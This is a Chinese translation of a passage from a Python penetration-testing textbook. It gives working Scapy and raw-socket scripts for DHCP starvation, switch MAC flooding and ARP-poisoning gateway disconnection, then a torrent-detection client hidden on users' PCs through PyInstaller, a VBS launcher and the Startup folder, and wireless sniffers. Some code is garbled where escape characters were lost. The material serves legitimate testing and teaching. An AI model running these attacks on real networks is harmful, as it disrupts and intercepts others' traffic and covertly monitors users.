在本章的开头,我们学习了嗅探器的概念,以及在网络上使用嗅探器,有时可能会揭示密码和聊天等重要信息。在今天的世界中,大多数情况下使用交换机,因此您应该知道如何执行主动嗅探。我们还学习了如何制作一个第 4 层嗅探器。然后我们学习了如何执行 ARP 欺骗。您应该通过 ARP 欺骗测试网络,并将您的发现写入报告。然后,我们研究了使用自定义数据包测试网络的主题。网络脱离攻击类似于 ARP 缓存中毒攻击,这也有所解释。半开放、FIN 扫描和ACK标志扫描是我们也涉及到的特殊类型的扫描。最后,解释了与 DDOS 攻击相关的死亡之针。

在第四章中,网络攻击和防范,我们将学习网络攻击和防范网络攻击。

第四章:网络攻击和预防

在之前的章节中,您学习了网络扫描和网络嗅探。在本章中,您将看到不同类型的网络攻击以及如何防范它们。本章对网络管理员和网络渗透测试人员很有帮助。

在本章中,我们将涵盖以下主题。

  • DHCP(动态主机配置协议)饥饿攻击

  • 交换机 MAC 洪泛攻击

  • 通过原始套接字进行网关分离

  • Torrent 检测

到目前为止,您已经看到了 ARP 欺骗的实现。现在,让我们了解一种称为网络分离攻击的攻击。它的概念与 ARP 缓存中毒相同。

技术要求

您需要在系统上安装 Python 2.7.x。最后,要使用本书的 Git 存储库,用户需要安装 Git。

本章的代码文件可以在 GitHub 上找到:

github.com/PacktPublishing/Python-Penetration-Testing-Essentials-Second-Edition/tree/master/Chapter04

查看以下视频以查看代码的运行情况:

goo.gl/oWt8A3

DHCP 饥饿攻击

在我们跳转到攻击之前,让我们看看 DHCP 服务器是如何工作的。当您通过交换机(接入点)连接到网络时,您的计算机会自动获取网络的 IP 地址。您可能想知道您的计算机从哪里获取了 IP。这些配置来自为网络配置的 DHCP 服务器。DHCP 服务器提供四个东西:IP 地址、子网掩码、网关地址和 DNS 服务器地址。但是如果您仔细分析,DHCP 服务器还为您分配 IP 地址提供了租约。在 Windows 命令提示符中键入ipconfig/all命令。租约获取和租约到期在以下截图中突出显示:

您可以在矩形中看到 DHCP 租约。在这种攻击中,我们将向 DHCP 服务器发送一个虚假请求。DHCP 服务器为虚假请求分配带有租约的 IP。这样,我们将在租约到期之前完成 DHCP 服务器的 IP 地址池。为了执行这次攻击,我们需要两台机器:一台攻击者机器,必须安装有 Scapy 和 Python 的 Linux,以及一台配置了 DHCP 的 Linux 机器。两者必须连接。您可以使用 Kali 作为攻击机,CentOS 作为 DHCP 服务器。您可以从l4wisdom.com/linux-with-networking/dhcp-server.php配置 DHCP 服务器。

在学习代码和攻击之前,您必须了解 DHCP 服务器的工作原理:

从上图中,我们可以理解以下内容:

  1. 客户端广播DHCP 发现请求,请求 DHCP 配置信息

  2. DHCP 服务器响应包含 IP 地址和租约配置信息的DHCP 提供消息

  3. 客户端通过选择提供的地址来接受提供。作为回应,客户端广播DHCP 请求消息

  4. DHCP 服务器向客户端发送单播 DHCP ACK/回复消息,其中包含以下 IP 配置和信息:

  • IP 地址:192.168.0.120

  • 子网掩码:255.255.255.0

  • 默认网关:192.168.0.1

  • DNS 服务器:192.168.0.2

  • 租约:一天

要获得更多澄清,请参阅以下 Wireshark 截图:

在上一张截图中,租约显示为六小时。

让我们看看代码;它有点难以理解,所以我把它分成不同的部分并解释了每一部分:

  • 导入必要的库和模块如下:
      from scapy.all import *
      import time
      import socket
      import struct
  • 创建原始套接字以接收 IP 数据包如下:
      s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, 
      socket.ntohs(0x0800))
      i = 1
  • 使用 while 循环连续发送数据包:
      while True:
  • 使用 Scapy 创建以太网和 IP 数据包如下:
    eth1 = Ether(src=RandMAC(),dst="ff:ff:ff:ff:ff:ff")
    ip1 = IP(src="img/0.0.0.0",dst="255.255.255.255")
  • 使用 Scapy 创建 UDP 和 bootp 数据包如下:
    udp1= UDP(sport=68,dport=67)
    bootp1= BOOTP(chaddr=RandString(12,'0123456789abcdef'))
  • 创建 DHCP 发现和 DHCP 请求数据包如下:
    dhcp1 = DHCP(options=[("message-type","discover"),"end"])
    dhcp2 = DHCP(options=[("message-type","request")])
    dhcp_discover = eth1/ip1/udp1/bootp1/dhcp1
    dhcp_discover[BOOTP].xid= 123456
  • 只需使用 Scapy 发送 DHCP 发现数据包并使用原始套接字接收响应如下:
    sendp(dhcp_discover)
    pkt = s.recvfrom(2048)
    num = pkt[0][14].encode('hex')
    ip_length = (int(num) % 10) * 4
    ip_last_range = 14 + ip_length
    ipheader = pkt[0][14:ip_last_range]
    ip_hdr = struct.unpack("!12s4s4s",ipheader)
    server_ip = socket.inet_ntoa(ip_hdr[1])
    obtained_ip = socket.inet_ntoa(ip_hdr[2])

  • 使用从前面步骤获得的参数创建 DHCP 请求数据包如下:
    print "Obtained IP ",obtained_ip
    print "DHCP server IP ",server_ip
    dhcp_request = eth1/ip1/udp1/bootp1/dhcp2
    dhcp_request[BOOTP].xid= 123456
    name='master'+str(i)

    i =i+1
    dhcp_request[DHCP].options.append(("requested_addr", obtained_ip))
    dhcp_request[DHCP].options.append(("server_id", server_ip))
    dhcp_request[DHCP].options.append(("hostname", name))
    dhcp_request[DHCP].options.append(("param_req_list",
    b'x01x1cx02x03x0fx06x77x0cx2cx2fx1ax79x2a'))
    dhcp_request[DHCP].options.append(("end"))
  • 发送请求数据包并间隔0.5秒发送下一个数据包如下:
    time.sleep(.5)
    sendp(dhcp_request)

代码名称为dhcp_starvation.py。代码的工作分为两部分。首先,攻击者机器发送发现数据包,然后 DHCP 服务器发送具有给定 IP 的 DHCP 提供数据包。在下一部分中,我们的代码提取给定的 IP 和服务器 IP,制作名为 DHCP 请求的新数据包,并将其发送到 DHCP 服务器。在运行程序之前,请检查 DHCP 服务器中的 DHCP 租约文件,该文件位于\var\lib\dhcpd\dhcpd.lease

您可以看到文件是空的,这意味着没有分配 IP。运行程序后,文件应该被填满,如下面的屏幕截图所示:

前面的屏幕截图显示获得的 IP 意味着 DHCP 的第 2 步正在工作并已完成。程序成功发送了虚假的 DHCP 请求。请参阅 DHCP 服务器租约文件的屏幕截图:

前面的屏幕截图表明程序正在成功运行。

MAC flooding 攻击

MAC flooding 涉及向交换机发送大量请求。内容寻址存储器CAM)将交换机与集线器分开。它存储信息,例如连接设备的 MAC 地址和物理端口号。CAM 表中的每个 MAC 都分配了一个交换机端口号。有了这些信息,交换机就知道在哪里发送以太网帧。CAM 表的大小是固定的。您可能想知道当 CAM 表收到大量请求时会发生什么。在这种情况下,交换机将变成集线器,并且传入的帧将泛滥到所有端口,使攻击者能够访问网络通信。

交换机如何使用 CAM 表

交换机学习连接设备的 MAC 地址及其物理端口,并将该条目写入 CAM 表,如下图所示:

CAM 表学习活动

前面的图分为两部分。在第一部分中,具有MAC A的计算机向具有MAC B的计算机发送ARP数据包。交换机学习数据包是从物理端口1到达的,并在CAM 表中创建一个条目,使 MAC A 与端口1相关联。交换机将数据包发送到所有连接的设备,因为它没有MAC B的 CAM 条目。在图的第二部分中,具有MAC B的计算机做出响应。交换机学习它来自端口2。因此,交换机创建一个条目,指出MAC B计算机连接到端口2

MAC flood 逻辑

当我们发送大量请求时,如前图所示,如果主机 A 发送具有不同 MAC 的虚假 ARP 请求,那么交换机将每次为端口1创建一个新条目,例如A—1X—1Y—1。有了这些虚假条目,CAM 表将变满,并且交换机将开始表现得像集线器。

现在,让我们编写代码如下:

from scapy.all import *
num = int(raw_input("Enter the number of packets "))
interface = raw_input("Enter the Interface ")

eth_pkt = Ether(src=RandMAC(),dst="ff:ff:ff:ff:ff:ff")

arp_pkt=ARP(pdst='192.168.1.255',hwdst="ff:ff:ff:ff:ff:ff")

try:
  sendp(eth_pkt/arp_pkt,iface=interface,count =num, inter= .001)

except : 
  print "Destination Unreachable "

前面的代码非常容易理解。首先,它要求您要发送的数据包数量。然后,对于接口,您可以选择WLAN接口或eth接口。eth_pkt语句使用随机 MAC 地址形成一个以太网数据包。在arp_pkt语句中,形成了一个带有目标 IP 和目标 MAC 地址的 ARP 请求数据包。如果要查看完整的数据包字段,可以使用 Scapy 中的arp_pkt.show()命令。

mac_flood.py的 Wireshark 输出如下截图所示:

MAC 洪泛攻击的输出

MAC 洪泛的目的是检查交换机的安全性。如果攻击成功,请在报告中标记为成功。为了减轻 MAC 洪泛攻击,使用端口安全。端口安全将入站流量限制为一组选择的 MAC 地址或有限数量的 MAC 地址和 MAC 洪泛攻击。

通过原始套接字断开网关

在这种攻击中,受害者将保持连接到网关,但将无法与外部网络通信。简单地说,受害者将保持连接到路由器,但将无法浏览互联网。这种攻击的原理与 ARP 缓存中毒相同。攻击将向受害者发送 ARP 回复数据包,该数据包将使用另一个 MAC 地址将受害者的 ARP 缓存中的网关的 MAC 地址更改为另一个 MAC。在网关中也是同样的操作。

代码与 ARP 欺骗的代码相同,只是有一些更改,如下所述:

import socket
import struct
import binascii
s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs(0x0800))
s.bind(("eth0",socket.htons(0x0800)))

sor = 'x48x41x43x4bx45x52'

victmac ='x00x0Cx29x2Ex84x7A'
gatemac = 'x00x50x56xC0x00x08'
code ='x08x06'
eth1 = victmac+sor+code #for victim
eth2 = gatemac+sor+code # for gateway

htype = 'x00x01'
protype = 'x08x00'
hsize = 'x06'
psize = 'x04'
opcode = 'x00x02'

gate_ip = '192.168.0.1'
victim_ip = '192.168.0.11' 
gip = socket.inet_aton ( gate_ip )
vip = socket.inet_aton ( victim_ip )

arp_victim = eth1+htype+protype+hsize+psize+opcode+sor+gip+victmac+vip
arp_gateway= eth2+htype+protype+hsize+psize+opcode+sor+vip+gatemac+gip

while 1:
  s.send(arp_victim)
  s.send(arp_gateway)

运行netdiss.py。我们可以看到代码中只有一个更改:sor = 'x48x41x43x4bx45x52'。这是一个随机的 MAC,因为这个 MAC 不存在。

为了进行 ARP 缓存中毒攻击,受害者应该在 ARP 缓存中有网关的真实条目。

您可能会想为什么我们使用了'x48x41x43x4bx45x52'MAC。将其转换为 ASCII,您将得到答案。

种子检测

网络管理员的主要问题是阻止用户机器上种子的使用。有时,小型组织或初创公司没有足够的资金购买防火墙来阻止种子的使用。在组织中,用户使用种子下载电影、歌曲等,这会占用大量带宽。在本节中,我们将看到如何使用 Python 程序消除这个问题。我们的程序将在种子程序运行时检测种子。

该概念基于客户端-服务器架构。服务器代码将在管理员机器上运行,客户端代码将在用户的机器上以隐藏模式运行。当用户使用种子时,客户端代码将通知服务器机器。

首先,看看以下服务器代码,并尝试理解代码。代码名称是torrent_detection_server.py

  • 按照以下方式导入必要的库:
      import socket
      import logging
      import sys
  • 为管理员打印消息。只使用Ctrl + C来停止程序,因为Ctrl + C由程序本身处理,套接字将自动关闭如下:
      print "Welcome, torrent dection program started"
      print "Use only Ctrl+c to stop"
  • 创建一个记录事件的日志文件,如下所示:
      logger = logging.getLogger("torrent_logger")
      logger.setLevel(logging.INFO)
      fh = logging.FileHandler("torrent_dection.log")
      formatter = logging.Formatter('%(asctime)s - %(name)s - %      
      (levelname)s - %(message)s')
      fh.setFormatter(formatter)
      logger.addHandler(fh)
      logger.info("Torrent detection program started")
  • 创建检测到的客户端列表,并定义服务器将在其上运行的服务器 IP 地址和端口,如下所示:
      prcess_client = []
      host = "192.168.0.128"
      port = 54321
  • 创建 UDP 套接字,如下所示:
      s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
      s.bind((host,port))
  • 创建一个循环以持续监听。以下代码块接收来自客户端的消息,并在日志文件中记录事件,如下所示:
      while True:
        try:

          data, addr = s.recvfrom(1024)
          print "\a\a\a\a\a\a\a"
          if addr[0] not in prcess_client :
            print data, addr[0]
            line = str(data)+" *** "+addr[0]
            logger.info(line)
            line = "\n****************************\n"
            logger.info(line)
          prcess_client.append(addr[0])
        except KeyboardInterrupt:
          s.close()
          sys.exit()

        except:
          pass

现在让我们看看客户机的代码。打开service.py代码:

  • 按照以下方式导入必要的库和模块:
      import os
      import re
      import time
      import socket
      import getpass
  • 定义服务器 IP 和服务器端口,以便创建套接字,如下所示:
      host = "192.168.0.128"
      port = 54321
  • 使用无限循环,使程序保持活动状态,如下所示:
      while True:
        try:
          s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
          name =socket.gethostname()
          user = getpass.getuser()
  • 查看当前任务列表,并尝试在任务列表中找到种子。如果找到种子,向服务器发送精心制作的消息如下:
    response = os.popen('tasklist')
    for line in response.readlines():
      str1 = "Torrent Identified on host "+str(name)+" User "+str(user)
      if re.search("torrent", line.lower()):
        s.sendto(str1,(host,port))
        s.sendto(str1,(host,port))
        s.sendto(str1,(host,port))
        #s.send("")
        break

          s.close()
          time.sleep(30)
        except :
          pass

在前面的程序中,我使用了30秒作为下一次迭代的时间,以获得快速结果。您可以根据自己的方便更改时间。如果流量很大,可以使用 15 分钟(15*60)。

为了运行和测试我们的程序,我们至少需要两台计算机。一个程序将在由网络管理员处理的服务器上运行。第二个程序将在客户机上运行。

让我们逐个运行代码并研究我们的测试用例:种子正在运行时和种子未运行时。首先运行服务器程序。你可以在任何操作系统上运行服务器程序:

服务器程序正在运行;让我们运行客户端代码service.py,如下面的截图所示:

上面的程序只是运行并不断扫描当前任务。由于我们在程序中定义了 30 秒,它会在 30 秒后扫描当前任务。看下面的截图,这是在 Windows 任务管理器中运行的种子服务:

所以 uTorrent 正在客户机上运行。如果客户端代码发现包含种子名称的任务,那么它会将消息发送到服务器。因此,在客户端程序中,我们使用了response = os.popen('tasklist')这一行,它在命令提示符中运行 tasklist 命令,如下面的截图所示:

上面的截图显示了种子正在运行。

如果在客户机上运行种子文件,那么服务器会收到以下消息:

搞定!一台名为Intel的机器,用户为Mohit,IP 地址为192.168.0.129,正在使用种子。客户端发送了三条消息给我们,但我们只显示了一条。我们使用的是 UDP,这是一种无连接的协议。如果数据包在传输中丢失,服务器和客户端都不会知道。这就是为什么客户端发送了三个数据包。

为什么使用 UDP 而不是 TCP?TCP 是一种面向连接的协议。如果服务器机器宕机,那么客户机上的程序将开始报错。

如果你在屏幕上丢失了输出,你可以在日志文件中检查输出。打开torrent_dection.log

现在你应该更好地理解了种子检测。但我们的工作还没有完成。如果客户机上的用户知道某种检测程序正在运行,他们可能会停止程序。我们必须让客户端代码以隐藏模式运行。

以隐藏模式运行程序

首先,我们必须将service.py程序更改为 Windows 可执行文件。为了将 Python 程序转换为 Windows 可执行文件,我们将使用 Pyinstaller。

让我们将文件改为 Windows 可执行文件。将service.py代码文件复制到C:\PyInstaller-2.1文件夹中。

打开命令提示符,浏览到C:\PyInstaller-2.1文件夹,并运行以下命令:

Python pyinstaller.py --onefile <file.py>

查看下面的截图以获得更多解释:

上面的截图是不言自明的。现在可执行文件已经创建,可以通过点击来运行。当你点击时,它会打开命令提示符屏幕。

现在以隐藏模式运行可执行程序。

创建一个service.vbs文件,并在文件中写入以下行:


Dim WinScriptHost
Set WinScriptHost = CreateObject("WScript.Shell")
WinScriptHost.Run Chr(34) & "%WINDIR%\service.exe" & Chr(34), 0
Set WinScriptHost = Nothing

在上面的文件中,我使用了%WINDIR%,它表示Windows文件夹;因为我在C:驱动器上安装了 Windows,%WINDIR%就变成了C:\Windows。只需点击service.vbsservice.exe程序将作为守护进程运行,没有图形界面,只有后台处理。将service.vbs放在Windows 启动文件夹中,这样下次 Windows 启动时,service.vbs文件将自动执行。

希望你喜欢这一章。

总结

在本章中,我们学习了网络攻击;DHCP 饥饿攻击可以通过使用我们的 Python 代码来高效地执行。Python 代码可以用于非法的 DHCP 服务器。MAC 洪泛攻击可以将交换机变成集线器。必须启用端口安全以减轻攻击。网关断开攻击非常容易执行;攻击者可以使用这种攻击来打扰用户。网关在 ARP 缓存中的静态条目可能是对抗攻击的一个可能解决方案。尽管下载种子被禁止,但对于小型组织来说仍然是一个大问题。本章介绍的解决方案对抗种子下载可能非常有效。在下一章中,您将学习关于无线流量监控的内容。您将学习无线帧、帧捕获和无线攻击。

第五章:无线渗透测试

无线连接的时代已经实现了灵活性和移动性,但也带来了许多安全问题。在有线连接中,攻击者需要物理接触才能连接和攻击。而在无线连接的情况下,攻击者只需要信号的可用性就可以发动攻击。在继续之前,您应该了解使用的术语:

  • 接入点AP):用于将无线设备连接到有线网络。

  • 服务集标识符SSID):这是无线局域网的唯一的 0-32 个字母数字标识符。它是人类可读的,简单来说,就是网络名称。

  • 基本服务集标识BSSID):这是无线 AP 的 MAC 地址。

  • 信道号:这代表 AP 用于传输的无线电频率的范围。

由于 AP 的自动设置可能会改变信道号,所以在本章中不要感到困惑。如果您在不同的时间运行相同的程序,信道号可能会改变。

在本章中,我们将涵盖以下概念:

  • 查找无线 SSID

  • 分析无线流量

  • 检测 AP 的客户端

  • 无线去认证攻击

  • 检测去认证攻击

802.11 帧简介

IEEE 将 802.11 和 802.11x 定义为无线局域网技术家族。以下是基于频率和带宽的 802.11 规范:

  • 802.11:提供带宽高达 1-2 Mbps,使用 2.4 GHz 频段

  • 802.11.a:提供带宽高达 54 Mbps,使用 5 GHz 频段

  • 802.11.b:提供带宽高达 11 Mbps,使用 2.4 GHz 频段

  • 802.11g:提供带宽高达 54 Mbps,使用 2.4 GHz 频段

  • 802.11n:提供带宽高达 300 Mbps,使用两个频段

所有802.11的组件都属于媒体访问控制MAC)层或物理层。MAC 层是数据链路层的子类。我们已经在第二章中介绍了数据链路层的协议数据单元PDU),也就是帧。

不过,首先让我们了解802.11帧格式。802.11中存在的三种主要类型的帧是:

  • 数据帧

  • 控制帧

  • 管理帧

这些帧由 MAC 层辅助。下图显示了 MAC 层的格式:

在上图中,显示了三种类型的地址。地址 1地址 2地址 3分别是目的地、AP 和源的 MAC 地址。这意味着地址 2是 AP 的 BSSID。在本章中,我们的重点将放在管理帧上,因为我们对管理帧的子类型感兴趣。一些常见的管理帧类型包括认证帧、去认证帧、关联请求帧、解除关联帧、探测请求帧和探测响应帧。客户端和 AP 之间的连接是通过各种帧的交换来建立的,如下图所示:

帧交换

上图显示了帧的交换。这些帧包括:

  • 信标帧:AP 定期发送信标帧来宣传自己的存在。信标帧包含诸如 SSID、信道号和 BSSID 等信息。

  • 探测请求:无线设备(客户端)发送探测请求以确定范围内有哪些接入点。探测请求包含诸如 AP 的 SSID、支持的速率和特定厂商信息等元素。客户端发送探测请求并等待探测响应。

  • 探测响应:作为对探测请求的响应,相应的接入点将会回复一个包含能力信息和支持的数据速率的探测响应帧。

  • 认证请求:客户端发送包含其身份的认证请求帧。

  • 认证响应:AP 响应认证,表示接受或拒绝。如果存在共享密钥认证,例如 WEP,那么 AP 会以认证响应的形式发送挑战文本。客户端必须将受挑战文本的加密形式发送回 AP。

  • 关联请求:成功认证后,客户端发送包含其特征的关联请求,例如支持的数据速率和 AP 的 SSID。

  • 关联响应:AP 发送包含接受或拒绝的关联响应。在接受的情况下,AP 将为客户端创建关联 ID。

我们即将进行的攻击将基于这些帧。

现在,是时候进行实际操作了。在接下来的部分,我们将讨论理论的其余部分。

使用 Python 进行无线 SSID 查找和无线流量分析

如果您使用过 Back-Track 或 Kali Linux 进行无线测试,那么您将熟悉airmon-ng套件。airmon-ng脚本用于在无线接口上启用监视模式。监视模式允许无线设备捕获帧而无需与 AP 关联。我们将在 Kali Linux 上运行所有程序。以下截图显示了如何设置mon0

设置 mon0

运行airmon-ng脚本时,它会为无线网卡命名,例如wlan0,如前面的截图所示。airmon-ng start wlan0命令将在监视模式下启动wlan0,而mon0将捕获无线数据包。

现在,让我们编写我们的第一个程序,该程序提供三个值:SSID、BSSID 和信道号。程序名称是ssid_finder_raw.py。让我们看看代码和解释如下:

  1. 导入必要的库:
      import socket 
      import struct
      import shelve 
      import sys
      import traceback
  1. 为了使用户能够查看先前存储的结果,请运行以下命令:
      ch = raw_input("Press 'Y' to know previous result ")
      print "USE only Ctrl+c to exit "
  1. 如果用户按下Y,则程序将打开wireless_data.dat文件并获取信息,例如 SSID、BSSID 和信道号。如果是第一次运行,wireless_data.dat文件将不存在:
      try :
        if ch.lower() == 'y':
          s = shelve.open("wireless_data.dat")
          print "Seq", "\tBSSID\t\t", "\tChannel", "SSID"
          keys= s.keys()
          list1 = []
          for each in keys:
            list1.append(int(each))
          list1.sort()

          for key in list1:
            key = str(key)
            print key,"\t",s[key][0],"\t",s[key][1],"\t",s[key][2]
          s.close()
          raw_input("Press any key to continue ")
          except Exception as e :
          print e
          raw_input("Press any key to continue ")
  1. 该代码创建一个套接字来捕获所有帧并将它们绑定到mon0。希望您已经仔细阅读了第三章,嗅探和渗透测试。唯一的新东西是3。3 参数表示协议号,表示ETH_P_ALL。这意味着我们对每个数据包都感兴趣:
      try:
        sniff = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, 3)
        sniff.bind(("mon0", 0x0003))

      except Exception as e :
        print e 
  1. 定义一个ap_list列表,稍后将使用。打开名为wireless_data.dat的 shelve 文件:
      ap_list =[]
      print "Seq", "\tBSSID\t", "\t\tChannel", "SSID"
      s = shelve.open("wireless_data.dat","n")
  1. 接收 Beacon 帧,提取SSIDBSSID和信道号信息,并将其保存在wireless_data.dat文件中。

  2. if fm[radio_tap_lenght] == "\x80"语法只允许 Beacon 帧。要理解radio_tap_lenght+4+6+6+6+2+12+1语法,请参见以下内容:

通过查看截图,您可以了解与radio_tap_length一起使用的数字值。

      try:
        while True :
          fm1 = sniff.recvfrom(6000)
         fm= fm1[0]
          radio_tap_lenght = ord(fm[2])
          #print radio_tap_lenght
          if fm[radio_tap_lenght] == "\x80" :
            source_addr = 
            fm[radio_tap_lenght+4+6:radio_tap_lenght+4+6+6]
            #print source_addr
            if source_addr not in ap_list:
              ap_list.append(source_addr)
              byte_upto_ssid = radio_tap_lenght+4+6+6+6+2+12+1
              a = ord(fm[byte_upto_ssid])
              list_val = []
              #print a
              bssid = ':'.join('%02x' % ord(b) for b in source_addr)
              #bssid = fm[36:42].encode('hex')
              s_rate_length = ord(fm[byte_upto_ssid+1 +a+1])
              channel = ord(fm[byte_upto_ssid+1 +a+1+s_rate_length+3])
              ssid = fm[byte_upto_ssid+1:byte_upto_ssid+1 +a]
  1. 将获取的信息保存在wireless_data.dat中:
        print len(ap_list),"\t",bssid,"\t",channel,"\t",ssid
        list_val.append(bssid)
        list_val.append(channel)
        list_val.append(ssid)
        seq = str(len(ap_list))
        s[seq]=list_val
       except KeyboardInterrupt:
        s.close()
        sys.exit()

       except Exception as e :
       traceback.print_exc()
        print e 

如果要使用Wireshark捕获帧,请使用mon0模式。以下帧是 Beacon 帧:

Beacon 帧的 Wireshark 表示

上面的截图将清楚地解决您的疑问。截图是不言自明的。您可以看到信道号、SSID 和 BSSID。

我在两张不同的无线 USB 卡上测试了代码。以下是ssid_finder_raw.py的输出:

始终按下CtrlC 以存储结果。

现在,让我们编写代码,使用 Scapy 找到 AP 的 SSID 和 MAC 地址。你可能会认为我们已经在原始数据包分析中执行了相同的任务。使用 scapy 编写代码比使用原始套接字更容易,实际上,出于研究目的,你应该了解原始数据包分析。如果你想要一些 Scapy 不知道的信息,原始数据包分析可以让你自由创建所需的嗅探器:

from scapy.all import *
interface = 'mon0'
ap_list = []
def info(fm):
  if fm.haslayer(Dot11):

    if ((fm.type == 0) & (fm.subtype==8)):
      if fm.addr2 not in ap_list:
        ap_list.append(fm.addr2)
        print "SSID--> ",fm.info,"-- BSSID --> ",fm.addr2

sniff(iface=interface,prn=info)

让我们从头开始看代码。scapy.all import *语句导入了 Scapy 库的所有模块。变量接口设置为mon0。声明了一个名为ap_list的空列表。在下一行,定义了info函数并传递了fm参数。

if fm.haslayer(Dot11):语句就像一个过滤器,只传递Dot11流量;Dot11表示 802.11 流量。接下来的if((fm.type == 0) & (fm.subtype==8)):语句是另一个过滤器,它传递帧类型为0且帧子类型为8的流量;类型0表示管理帧,子类型8表示 Beacon 帧。在下一行,if fm.addr2 not in ap_list:语句用于去除冗余;如果 AP 的 MAC 地址不在ap_list中,那么它会将列表附加并将地址添加到列表中,如下一行所述。下一行打印输出。最后的sniff(iface=interface,prn=info)行使用接口mon0嗅探数据,并调用info()函数。

以下截图显示了ssid.py程序的输出:

我希望你现在理解了ssid.py程序。让我们试着找出 AP 的信道号。我们将不得不对代码进行一些修改。修改后的代码如下:

from scapy.all import *
import struct
interface = 'mon0'
ap_list = []
def info(fm):
  if fm.haslayer(Dot11):
    if ((fm.type == 0) & (fm.subtype==8)):
      if fm.addr2 not in ap_list:
        ap_list.append(fm.addr2)
        print "SSID--> ",fm.info,"-- BSSID --> ",fm.addr2, "-- Channel-
         -> ", ord(fm[Dot11Elt:3].info)
        sniff(iface=interface,prn=info)

你会注意到我们在这里添加了一件事,那就是ord(fm[Dot11Elt:3].info)

你可能想知道Dot11Elt是什么。如果你在 Scapy 中打开Dot11Elt,你会得到三个东西,IDleninfo,如下面的输出所示:

  root@Mohit|Raj:~# scapy
  INFO: Can't import python gnuplot wrapper . Won't be able to plot.
  WARNING: No route found for IPv6 destination :: (no default route?)
  lWelcome to Scapy (2.2.0)
  >>> ls(Dot11Elt)
  ID         : ByteEnumField        = (0)
  len        : FieldLenField        = (None)
  info       : StrLenField          = ('')
  >>>

查看以下类代码:

class Dot11Elt(Packet):
  name = "802.11 Information Element"
  fields_desc = [ ByteEnumField("ID", 0, {0:"SSID", 1:"Rates", 2:  
  "FHset", 3:"DSset", 4:"CFset", 5:"TIM", 6:"IBSSset", 16:"challenge",
  42:"ERPinfo", 46:"QoS Capability", 47:"ERPinfo", 48:"RSNinfo",    
  50:"ESRates",221:"vendor",68:"reserved"}),
  FieldLenField("len", None, "info", "B"),
  StrLenField("info", "", length_from=lambda x:x.len) ]

在前面的类代码中,DSset提供了有关信道号的信息,因此DSset号是3

让我们不要把它搞得太复杂,让我们简单地使用 scapy 捕获一个数据包:

  >>> conf.iface="mon0"
  >>> frames = sniff(count=7)
  >>> frames
  <Sniffed: TCP:0 UDP:0 ICMP:0 Other:7>
  >>> frames.summary()
  RadioTap / 802.11 Management 8L 84:1b:5e:50:c8:6e > ff:ff:ff:ff:ff:ff   
 / Dot11Beacon / SSID='CITY PG3' / Dot11Elt / Dot11Elt / Dot11Elt /   
  Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt / 
  Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt / 
  Dot11Elt / Dot11Elt / Dot11Elt
  RadioTap / 802.11 Data 8L 84:1b:5e:50:c8:6e > 88:53:2e:0a:75:3f / 
  Dot11QoS / Dot11WEP
  84:1b:5e:50:c8:6e > 88:53:2e:0a:75:3f (0x5f4) / Raw
  RadioTap / 802.11 Control 13L None > 84:1b:5e:50:c8:6e / Raw
  RadioTap / 802.11 Control 11L 64:09:80:cb:3b:f9 > 84:1b:5e:50:c8:6e / 
  Raw RadioTap / 802.11 Control 12L None > 64:09:80:cb:3b:f9 / Raw
  RadioTap / 802.11 Control 9L None > 64:09:80:cb:3b:f9 / Raw

在以下截图中,你可以看到0th帧中有很多Dot11Elt。让我们详细检查0th帧:

帧中的 Dot11Elt

现在,你可以看到有几个<Dot11Elt。每个Dot11Elt有三个字段。ord(fm[Dot11Elt:3].info)给出了信道号,它位于第四个位置(根据类代码),即<Dot11Elt ID=DSset len=1 info='x04'。我希望你现在理解了Dot11Elt

在 Wireshark 中,我们可以看到以下截图中由Dot11Elt表示的输出:

Wireshark 中的 Dot11Elt 表示

在前面的截图中,标记的参数由Dot11Elt表示。

scapt_ssid.py程序的输出如下:

输出与信道

检测 AP 的客户端

你可能想要获取特定 AP 的所有客户端。在这种情况下,你必须捕获探测请求帧。在 scapy 中,这称为Dot11ProbeReq

让我们在以下截图中检查 Wireshark 中的帧:

探测请求帧

探测请求帧包含一些有趣的信息,比如源地址和 SSID,如前面的截图所示。

现在,是时候看看以下代码了:

from scapy.all import *
interface ='mon0'
probe_req = []
ap_name = raw_input("Please enter the AP name ")
def probesniff(fm):
  if fm.haslayer(Dot11ProbeReq):
    client_name = fm.info
    if client_name == ap_name :
      if fm.addr2 not in probe_req:
        print "New Probe Request: ", client_name 
        print "MAC ", fm.addr2
        probe_req.append(fm.addr2)
sniff(iface= interface,prn=probesniff)

让我们看看在前面的程序中添加的新内容。用户输入感兴趣的 AP 的 SSID,将存储在ap_name变量中。if fm.haslayer(Dot11ProbeReq):语句表示我们对探测请求帧感兴趣。if client_name == ap_name:语句是一个过滤器,捕获所有包含感兴趣 SSID 的请求。print "MAC ", fm.addr2行打印连接到 AP 的无线设备的 MAC 地址。

probe_req.py程序的输出如下:

一系列无线设备连接到CITY PG3

无线隐藏 SSID 扫描仪

有时,出于安全原因,用户隐藏他们的接入点 SSID,并配置他们的计算机以检测接入点。当您隐藏 SSID 接入点时,Beacon 帧将停止广播它们的 SSID。在这种情况下,我们必须捕获由 AP 的关联客户端发送的所有探测请求、探测响应、重新关联请求、关联响应和关联请求帧。为了我们的实验目的,我隐藏了 SSID,然后运行ssid_finder_raw.py代码如下截图所示:

在前面的截图中,您可以清楚地看到第一个 AP 的 SSID 没有显示。

运行hidden_ssid_finder.py程序,但在运行程序之前,请确保监视器模式已打开,我们正在使用监视器模式mon0

  1. 导入必要的模块:
      import socket 
      import sys
  1. 创建一个原始套接字,并将其绑定到mon0接口:
      sniff = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, 3)
  1. 要求用户输入 AP 的 MAC 地址,并从 MAC 地址中删除冒号:
      mac_ap = raw_input("Enter the MAC ")
      if ":"in mac_ap:
        mac_ap = mac_ap.replace(":","")
  1. 创建列表和字典:
      processed_client =[]
      filter_dict = {64:'Probe request', 80:'Probe       response',32:'Reassociation request',16:'Association response',       0:'Association request' }
      filter_type = filter_dict.keys()
      probe_request_length = 4+6+6+6+2
  1. 连续接收filter_type字典中定义的帧:
      while True :
        try:
          fm1 = sniff.recvfrom(6000)
          fm= fm1[0]
          radio_tap_lenght = ord(fm[2])
